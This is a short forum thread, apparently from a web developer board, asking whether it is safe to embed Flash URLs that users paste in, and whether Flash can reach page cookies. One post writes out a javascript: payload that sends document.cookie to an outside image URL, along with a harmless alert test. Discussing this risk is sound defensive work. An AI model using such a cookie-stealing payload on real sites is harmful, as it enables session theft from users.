is it secure to directly show flash url thats user paste?

if the flash have action script or navigate the window?

[Xuefer]

it seems that flash can access cookie of current page?
at least by navigate javascript:"<img src=http://...?cookie="+escaope(document.cookie) + ">"

[BlobFisk]

Hi Xuefer,

I'm not 100% sure that I understand what you are asking, but recent versions of Flash can run javascript functions and methods via the FSCommand, and you can control various functionality of a Flash movie from a page using this FSCommand also.

[Xuefer]

hm...

have u tried
<script>
window.location.href = 'javascript:alert("a");'
</script>
in html?

i guess but not sure it's the same in flash, by navigating the browser can exec the script

FSCommand, however, is just callback a function of javascript, i don't prepair the function to it, it has no ability to exec script